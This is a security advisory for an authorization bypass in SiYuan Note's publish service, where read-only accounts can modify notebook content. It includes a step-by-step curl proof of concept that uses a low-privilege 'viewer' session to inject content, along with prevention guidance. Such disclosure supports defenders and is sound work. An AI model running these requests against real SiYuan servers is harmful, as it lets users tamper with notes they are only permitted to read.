GHSA-f9cq-v43p-v523 CVE-2026-30926 GO-2026-4658
SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren
- Severity
- 7.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.32%
- Chance of exploitation in the next 30 days. Higher than 25.43% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Fix
- None yet
- No fixed version published
Description
Summary
A privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the /api/block/appendHeadingChildren API endpoint.
The endpoint only requires model.CheckAuth, which accepts RoleReader sessions. Because the endpoint performs a persistent document mutation and does not enforce CheckAdminRole or CheckReadonly, a publish user with read-only privileges can append new blocks to existing documents.
This allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.
Details
File: router.go, block.go, block.go, session.go Lines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209 Vulnerable Code:
- router.go: ginServer.Handle("POST", "/api/block/appendHeadingChildren", model.CheckAuth, appendHeadingChildren)
- api/block.go: model.AppendHeadingChildren(id, childrenDOM)
- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)
- session.go: CheckAuth accepts RoleReader as authenticated
Why Vulnerable: A low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.
PoC
- Enable publish service and create low-privilege account
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
"enable": true,
"port": 6808,
"auth": {
"enable": true,
"accounts": [
{
"username": "viewer",
"password": "viewerpass"
}
]
}
}' \
http://127.0.0.1:6806/api/setting/setPublish
- Create a test notebook and document (admin)
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{"name":"AuditPOC"}' \
http://127.0.0.1:6806/api/notebook/createNotebook
Create a document containing a heading:
curl -u workspace:<ACCESS_AUTH_CODE> \
-H "Content-Type: application/json" \
-d '{
"notebook":"<NOTEBOOK_ID>",
"path":"/Victim",
"markdown":"# VictimHeading\n\nOriginal paragraph"
}' \
http://127.0.0.1:6806/api/filetree/createDocWithMd
- Retrieve heading block ID (low-priv publish account)
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT id,root_id FROM blocks WHERE content='\''VictimHeading'\'' LIMIT 1"}' \
http://127.0.0.1:6808/api/query/sql
Example response:
{
"id":"20260307093334-05sj7bz",
"root_id":"20260307093334-vsa6ft0"
}
- Generate block DOM
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"dom":"<p>InjectedByReader</p>"}' \
http://127.0.0.1:6808/api/lute/html2BlockDOM
- Append block using the vulnerable endpoint
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{
"id":"20260307093334-05sj7bz",
"childrenDOM":"<div ...>InjectedByReader</div>"
}' \
http://127.0.0.1:6808/api/block/appendHeadingChildren
Server response:
{"code":0}
- Verify unauthorized modification
curl -u viewer:viewerpass \
-H "Content-Type: application/json" \
-d '{"stmt":"SELECT content FROM blocks WHERE root_id='\''20260307093334-vsa6ft0'\'' ORDER BY sort"}' \
http://127.0.0.1:6808/api/query/sql
Result includes attacker-controlled content:
InjectedByReader
This confirms that the low-privilege publish user successfully modified the document.
Impact
This vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.
Potential impacts include:
• Unauthorized modification of private notes • Content tampering in published notebooks • Loss of data integrity • Possible chaining with other API endpoints to escalate further privileges
The issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| github.com/siyuan-note/siyuan/kernel | <= 0.0.0-20260304035530-d03ebdec8279 |
No fix yet |
| github.com/siyuan-note/siyuan/kernel | all versions |
No fix yet |
How to fix
No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.
Severity breakdown
CVSS 3.1 7.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- High
- Availability
- None
Weakness
CWE-284: Improper Access Control
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-862: Missing Authorization
The product does not perform an authorization check when an actor attempts to access a resource or perform an action.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xp3q-r38w-vgqm SiYuan: The publish filter for local storage returns the administrator's entire storage map with only three keys sanitized | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-9cqf-hhrq-7v45 SiYuan: getAttributeViewSearchTarget returns database row content to anonymous readers with no publish-access check, reopening the class closed one day earlier at the adjacent route | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-57v5-wqx3-cgj4 SiYuan: Database view structure (all view names, layout types and per-field visibility) is returned to anonymous readers by /api/av/getAttributeViewFieldViews | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-4wwp-f6gw-6qm5 SiYuan: TLS Private Keys Readable via getFile (Incomplete Blocklist) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-3cm4-ccvw-6xr6 SiYuan: /history/*path and /repo/diff/*path potentially exposing historical snapshots of data/.siyuan/publishAccess.json and data/templates/* | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-x8gv-g2g3-65fj SiYuan Agent Tools SSRF via DNS-Rebinding TOCTOU (Bypass of CheckHostSSRF) | High | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-p23f-cm6q-2qp8 SiYuan MCP asset.upload Reads Arbitrary Absolute File Paths (Workspace Boundary Bypass) | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
| GHSA-rpx2-p6hp-x5gj SiYuan: Missing consistency check between packageName and repoURL/repoHash in bazaar package install allows overwriting an existing, trusted plugin | Medium | Also affects github.com/siyuan-note/siyuan/kernel |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor